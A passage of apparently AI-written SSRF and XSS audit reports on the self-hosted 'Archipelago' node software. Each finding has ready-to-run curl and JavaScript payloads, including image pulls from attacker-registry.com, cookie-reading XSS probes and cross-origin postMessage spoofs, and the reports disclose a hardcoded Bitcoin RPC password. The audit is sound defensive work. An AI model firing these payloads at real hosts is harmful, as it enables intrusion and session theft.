-d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'
```
---
## SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access
**Type**: Internal service proxy / partial SSRF
**Location**: `GET /proxy/lnd/{path}` on port 5678
**Parameter**: URL path after `/proxy/lnd`
**Source file**: `core/archipelago/src/api/handler.rs:158-188`
**Evidence**: The handler strips `/proxy/lnd` from the path and constructs `http://127.0.0.1:8080{suffix}`, then performs `reqwest::get(&url)` and returns the full response including body and Content-Type. The host is hardcoded to `127.0.0.1:8080`, so this is limited to accessing localhost port 8080.
Key concerns:
- **No authentication** on the proxy endpoint
- **Full path control** — any LND REST API endpoint is accessible
- **Response body returned** — not blind, the attacker gets full response content
- Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
- Backend binds to `0.0.0.0:5678` by default (`config.rs:193`), though the proxy through nginx serves SPA HTML instead (nginx falls through to `try_files`)
**Confidence**: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)
**Suggested exploit**:
```bash
# Direct to backend (if port 5678 is reachable)
curl http://TARGET:5678/proxy/lnd/v1/getinfo
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain
```
---
## SSRF-004: Container Image Pull — Arbitrary Registry Fetch
**Type**: Indirect SSRF via container registry pull
**Location**: `POST /rpc/v1` → method `package.install`
**Parameter**: `dockerImage`
**Source file**: `core/archipelago/src/api/rpc/package.rs:9-84`
**Evidence**: The `handle_package_install` handler accepts a `dockerImage` parameter, validates it only against shell injection characters (`is_valid_docker_image()` at line 786), then runs `podman pull {image}` (line 60). The validation blacklist is:
```rust
let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];
```
This allows arbitrary registry URLs like `attacker.com/malicious:latest` or `registry.evil.com:5000/image:tag`. The server makes HTTPS requests to the specified registry to pull manifest and image layers.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'
```
The server will connect to `attacker-registry.com` to pull the image, confirming outbound SSRF.
---
## SSRF-005: Dormant Full SSRF in `marketplace.get` (Inactive Code)
**Type**: Full arbitrary URL fetch (NOT in active backend)
**Location**: `core/startos/src/registry/marketplace.rs:38-92`
**Parameter**: `url` (type `Url` — accepts any scheme/host)
**Evidence**: This is a **critical** SSRF — `marketplace.get` accepts a raw `Url` parameter and fetches it with the shared `reqwest::Client`, which has a Tor proxy for `.onion` addresses (`core/startos/src/context/rpc.rs:222-231`). No URL validation, no IP blocklist, supports `http://`, `https://`, potentially `file://`. Response content is returned in JSON/text/base64.
**However**, this module is in `core/startos/` which is **not compiled into the active `core/archipelago/` binary** (Cargo.toml has no startos dependency). The RPC route table in `core/archipelago/src/api/rpc/mod.rs` does not register `marketplace.get`.
**Confidence**: LOW (dormant code, not reachable on running server)
**Note**: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.
---
## SSRF-006: Nostr Relay Connections — Config-Driven SSRF
**Type**: WebSocket SSRF via configuration
**Location**: `POST /rpc/v1` → methods `node-nostr-discover`, `node.nostr-publish`
**Source file**: `core/archipelago/src/nostr_discovery.rs:157-345`
**Evidence**: Relay URLs from `config.nostr_relays` (populated from `ARCHIPELAGO_NOSTR_RELAYS` env var, default: `wss://relay.damus.io`, `wss://relay.nostr.info`) are passed to `client.add_relay(url)` without validation. When Tor proxy is configured (default: `127.0.0.1:9050`), all relay connections route through Tor.
Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.
**Confidence**: LOW (requires configuration access)
---
## Additional Observations
| Factor | Detail |
|--------|--------|
| **CORS wildcard** | All backend responses include `Access-Control-Allow-Origin: *` (handler.rs:15), enabling drive-by SSRF from any website |
| **No authentication** | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network |
| **Nginx proxy exposure** | `/aiui/api/claude/` → Claude proxy (3141), `/aiui/api/openrouter/` → OpenRouter API, `/aiui/api/web-search` → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services |
| **TLS verification disabled** | LND client uses `danger_accept_invalid_certs(true)` (lnd.rs:56) |
| **Hardcoded credentials** | Bitcoin RPC: `archipelago:archipelago123` (bitcoin.rs:89, electrs_status.rs:17) |
---
```json
{
"category": "ssrf",
"findings": [
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
}
]
}
```
+240
View File
@@ -0,0 +1,240 @@
I now have all the data needed. Let me compile the comprehensive XSS analysis.
---
# XSS Vulnerability Analysis — Archipelago (192.168.1.228)
## Methodology
Source code review of the full stack: Rust backend (`core/`), Vue 3 frontend (`neode-ui/src/`), Nginx configs (`image-recipe/configs/`), and static HTML files. Searched for all XSS sinks (v-html, innerHTML, document.write, eval), DOM-based sources (location, postMessage), stored content rendering, and missing security headers.
---
## XSS-001 — Stored XSS via Unauthenticated P2P Node Messages
**Type**: Stored XSS
**Confidence**: Medium
**Location**: `POST /archipelago/node-message` → rendered in Web5.vue and App.vue toast
**Source files**:
- Backend intake: `core/archipelago/src/api/handler.rs:125-145` — no auth, no sanitization
- Backend storage: `core/archipelago/src/node_message.rs:26-37` — raw string stored as-is
- Frontend display (messages): `neode-ui/src/views/Web5.vue:405``{{ m.message }}`
- Frontend display (toast): `neode-ui/src/App.vue:52``{{ toastMessage.text }}`
- Toast data source: `neode-ui/src/composables/useMessageToast.ts:39``latest?.message`
**Evidence**: The `/archipelago/node-message` endpoint accepts arbitrary JSON with `from_pubkey` and `message` fields — no authentication, no input validation, no HTML sanitization. Messages are stored in memory and returned verbatim via the `node-messages-received` RPC method. The frontend renders messages using Vue's `{{ }}` text interpolation, which **does** escape HTML by default. However:
1. The toast at `App.vue:52` renders the raw message text as a notification preview — if Vue's escaping were ever bypassed (e.g., a future refactor introduces `v-html`), this becomes immediately exploitable
2. The `:title` attribute binding at `Web5.vue:402` (`<p ... :title="m.from_pubkey">`) accepts the unsanitized pubkey — attribute injection is possible with crafted pubkey values
3. Combined with **CORS wildcard** (`Access-Control-Allow-Origin: *` on all endpoints), any website can inject messages via a drive-by attack
**Why medium, not high**: Vue's `{{ }}` escaping prevents current exploitation. But the complete absence of server-side sanitization means any rendering change (or alternative client) would be immediately vulnerable.
**Suggested exploit**:
```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
```
---
## XSS-002 — postMessage Origin Bypass in AppLauncherOverlay
**Type**: DOM-based XSS (postMessage sink)
**Confidence**: Medium
**Location**: `neode-ui/src/components/AppLauncherOverlay.vue:125,147-150`
**Source file**: `neode-ui/src/components/AppLauncherOverlay.vue`
**Evidence**:
- Line 125: `window.parent.postMessage({ type: 'app-launcher-escape' }, '*')` — sends to ANY origin
- Lines 147-150: Receives messages with **no origin validation**:
```typescript
function onMessage(e: MessageEvent) {
if (e.data?.type === 'app-launcher-escape' && store.isOpen) {
store.close()
}
}
```
- Any page embedding the Archipelago UI (or any malicious iframe loaded into the app launcher) can trigger the close action. The impact is UI manipulation only (closing the app launcher), but this pattern demonstrates missing origin checks that could be exploited if more actions are added.
**Suggested exploit**: From a malicious page iframed into the app launcher:
```javascript
window.parent.postMessage({ type: 'app-launcher-escape' }, '*')
```
---
## XSS-003 — postMessage Origin Bypass in Claude Auth Handler
**Type**: DOM-based XSS (postMessage sink)
**Confidence**: Medium
**Location**: `neode-ui/src/views/Settings.vue:442-448`
**Source file**: `neode-ui/src/views/Settings.vue`
**Evidence**:
```typescript
function handleClaudeLoginMessage(e: MessageEvent) {
if (e.data?.type === 'claude-auth-success') {
claudeConnected.value = true
showClaudeLoginModal.value = false
window.removeEventListener('message', handleClaudeLoginMessage)
}
}
```
No `e.origin` validation. Any iframe or window (including apps loaded in the app launcher) can send `{ type: 'claude-auth-success' }` to spoof the Claude connection state. This is UI spoofing — the user sees "Claude Connected" when it's not authenticated.
**Suggested exploit**:
```javascript
// From any page loaded in the same browsing context
window.postMessage({ type: 'claude-auth-success' }, '*')
```
---
## XSS-004 — Absent Content-Security-Policy + CSP/X-Frame-Options Stripping
**Type**: Missing security headers (XSS enabler)
**Confidence**: High
**Location**: `image-recipe/configs/nginx-archipelago.conf` (entire server block)
**Source file**: `image-recipe/configs/nginx-archipelago.conf:89-333`
**Evidence**:
1. **No CSP header** set on any response — no defense-in-depth against XSS
2. **No X-Frame-Options** — clickjacking possible on main UI
3. **No X-Content-Type-Options** — MIME sniffing attacks possible
4. 25+ app proxy locations explicitly strip CSP and X-Frame-Options:
```nginx
proxy_hide_header X-Frame-Options;
proxy_hide_header Content-Security-Policy;
```
This removes the security headers that apps like Vaultwarden, Portainer, and Grafana set to protect themselves, making them vulnerable to clickjacking when proxied.
Without CSP, if any XSS vector is found (including in proxied apps), there are zero mitigations — inline scripts, eval, and external script loading all work.
---
## XSS-005 — Echo Endpoint Reflects Arbitrary Input
**Type**: Reflected (JSON context)
**Confidence**: Low
**Location**: `POST /rpc/v1` method `echo` / `server.echo`
**Source file**: `core/archipelago/src/api/rpc/mod.rs:171-178`
**Evidence**:
```rust
async fn handle_echo(&self, params: Option<serde_json::Value>) -> Result<serde_json::Value> {
if let Some(p) = params {
if let Some(msg) = p.get("message").and_then(|v| v.as_str()) {
return Ok(serde_json::json!({ "message": msg }));
}
}
Ok(serde_json::json!({ "message": "Hello from Archipelago!" }))
}
```
The `message` parameter is reflected verbatim in the JSON response. The response has `Content-Type: application/json`, so browsers won't render it as HTML. However, combined with CORS wildcard, any website can read the reflected value. If this response is ever consumed unsafely by the frontend or a third-party client, XSS is possible.
**Suggested exploit**:
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"echo","params":{"message":"<script>alert(1)</script>"}}'
```
---
## XSS-006 — test-aiui.html postMessage Without Origin Validation + innerHTML
**Type**: DOM-based XSS
**Confidence**: Low
**Location**: `neode-ui/public/test-aiui.html:46,50-69`
**Source file**: `neode-ui/public/test-aiui.html`
**Evidence**:
- Line 46: `results.innerHTML = ''` — uses innerHTML (safe with empty string, but establishes unsafe pattern)
- Line 50-69: Listens to all `postMessage` events with **no origin check**
- Line 107: `div.textContent = ...JSON.stringify(resp.data)...` — uses textContent (safe), but the callback at line 56 passes the full message object to arbitrary callbacks
- This is a test file deployed to production at `/test-aiui.html`
---
## XSS-007 — CORS Wildcard Enables Cross-Origin XSS Delivery
**Type**: XSS enabler (not XSS itself)
**Confidence**: High
**Location**: All backend endpoints
**Source file**: `core/archipelago/src/api/handler.rs:15` — `const CORS_ANY: &str = "*";`
**Evidence**: Every backend response includes `Access-Control-Allow-Origin: *`. This means any website can:
1. Inject stored messages via `POST /archipelago/node-message` (XSS-001)
2. Read reflected data from `echo` endpoint (XSS-005)
3. Invoke any RPC method and read responses
4. Deliver XSS payloads remotely without requiring the attacker to be on the local network
This transforms what would be LAN-only vulnerabilities into remotely exploitable ones via drive-by attacks.
---
```json
{
"category": "xss",
"findings": [
{
"id": "XSS-001",
"type": "stored_xss",
"endpoint": "/archipelago/node-message",
"parameter": "message, from_pubkey",
"confidence": "medium",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
},
{
"id": "XSS-002",
"type": "dom_xss_postmessage",
"endpoint": "AppLauncherOverlay.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
},
{
"id": "XSS-003",
"type": "dom_xss_postmessage",
"endpoint": "Settings.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
},
{
"id": "XSS-004",
"type": "missing_csp_headers",
"endpoint": "All responses (nginx)",
"parameter": "Content-Security-Policy, X-Frame-Options",
"confidence": "high",
"payload_suggestion": "No CSP set — any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
},
{
"id": "XSS-005",
"type": "reflected_xss_json",
"endpoint": "/rpc/v1 (method: echo)",
"parameter": "params.message",
"confidence": "low",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
},
{
"id": "XSS-006",
"type": "dom_xss_postmessage",
"endpoint": "/test-aiui.html",
"parameter": "postMessage event.data",
"confidence": "low",
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
},
{
"id": "XSS-007",
"type": "cors_wildcard_xss_enabler",
"endpoint": "All backend endpoints",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
}
]
}
```